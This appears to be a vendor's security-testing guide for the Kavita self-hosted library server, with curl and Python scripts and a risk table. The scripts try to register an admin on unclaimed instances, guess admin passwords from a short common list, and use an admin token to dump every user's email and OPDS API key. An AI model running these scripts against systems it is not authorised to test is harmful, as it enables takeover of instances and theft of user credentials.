Kavita is a widely deployed self-hosted digital library for manga, comics, and books, offering reading progress sync, series management, and OPDS compatibility with e-reader apps. Its security assessment covers: Kavita's first-run setup at /register is the only registration endpoint — if accessible after deployment (admin account not yet created), any visitor can register as the admin and claim control of the instance; Kavita's REST API uses JWT tokens from /api/account/login — admin tokens provide full access to all library files, user management, and server settings; Kavita's OPDS endpoint at /api/opds/{apiKey} uses a per-user API key to authenticate OPDS clients — this API key is displayed in user settings and provides access to all libraries the user has permission to view without requiring interactive authentication; and admin users can access all libraries and user reading statistics across the entire Kavita installation. This guide covers systematic Kavita security assessment.
# Kavita first-run setup — /register accessible if admin not yet created
KAVITA_URL="https://manga.example.com"
# Check if registration endpoint is still accessible
REG_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${KAVITA_URL}/register" 2>/dev/null)
echo "Registration page status: ${REG_STATUS}"
# Also check the API registration endpoint
API_REG_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${KAVITA_URL}/api/account/register" 2>/dev/null)
echo "API register status: ${API_REG_STATUS}"
# If registration is open, check if admin creation is possible
curl -s -X POST "${KAVITA_URL}/api/account/register" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123","email":"admin@example.com"}' \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
if 'token' in d:
print(f'REGISTERED: token={d[\"token\"][:30]}...')
else:
print(f'Response: {d}')
except: pass
" 2>/dev/null
# Test existing admin with common weak credentials
for PASS in "admin" "password" "kavita" "manga"; do
RESULT=$(curl -s -X POST "${KAVITA_URL}/api/account/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null)
if echo "$RESULT" | grep -q '"token"'; then
echo "AUTH SUCCESS: admin/${PASS}"
echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
user=d.get('user',{})
print(f' Role: {user.get(\"roles\",[])}')
print(f' Token: {d.get(\"token\",\"\")[:30]}...')
" 2>/dev/null
break
fi
done
# Kavita OPDS API key — per-user key that grants library access without session auth
# Displayed in User Settings > OPDS key
KAVITA_URL="https://manga.example.com"
OPDS_API_KEY="user-opds-api-key-from-settings"
# Access OPDS catalog using the per-user API key
curl -s "${KAVITA_URL}/api/opds/${OPDS_API_KEY}" 2>/dev/null | \
python3 -c "
import sys, xml.etree.ElementTree as ET
try:
root = ET.parse(sys.stdin).getroot()
ns = {'atom': 'http://www.w3.org/2005/Atom'}
entries = root.findall('atom:entry', ns)
print(f'OPDS catalog accessible — {len(entries)} entries')
for e in entries[:10]:
title = e.find('atom:title', ns)
if title is not None:
print(f' {title.text}')
except Exception as ex:
print(f'Error: {ex}')
" 2>/dev/null
# With admin JWT — get all users and their OPDS API keys
JWT_TOKEN="your-kavita-admin-jwt"
curl -s "${KAVITA_URL}/api/users" \
-H "Authorization: Bearer ${JWT_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
users=json.load(sys.stdin)
print(f'Users: {len(users)}')
for u in users:
print(f' {u.get(\"username\")} ({u.get(\"email\",\"?\")}) apiKey={u.get(\"apiKey\",\"\")}')
except: pass
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| First-run admin registration at /register or /api/account/register | POST /api/account/register — if accessible, any visitor can create the admin account and take full control of the Kavita instance including all libraries and user data | Critical |
| Weak admin credentials | POST /api/account/login with common admin/password combinations — JWT token gives full access to all libraries, user management, and server settings | Critical |
| OPDS API key access to user libraries | GET /api/opds/{apiKey} — per-user API key provides full library access for that user's granted libraries without interactive authentication; key does not expire | High |
| Admin API user enumeration with API key extraction | GET /api/users with admin JWT — lists all user accounts including email addresses and OPDS API keys; extracting API keys gives access to each user's library without their password | High |
| Library file direct download | GET /api/reader/{libraryId}/{seriesId}/... with valid JWT — downloads manga/comics files directly; admin token accesses all libraries regardless of user permission assignments | Medium |
| User reading history enumeration | GET /api/stats/user/{userId} with admin JWT — retrieves complete reading history, progress, and statistics for any user on the instance | Low |
Ironimo tests Kavita deployments for first-run admin registration endpoint accessibility allowing admin account takeover, weak admin credentials via the /api/account/login endpoint, OPDS API key exposure providing persistent library access without session authentication, admin API user enumeration extracting all OPDS keys, library file direct download with any valid token, and user reading history and statistics enumeration via the admin API.
Start free scan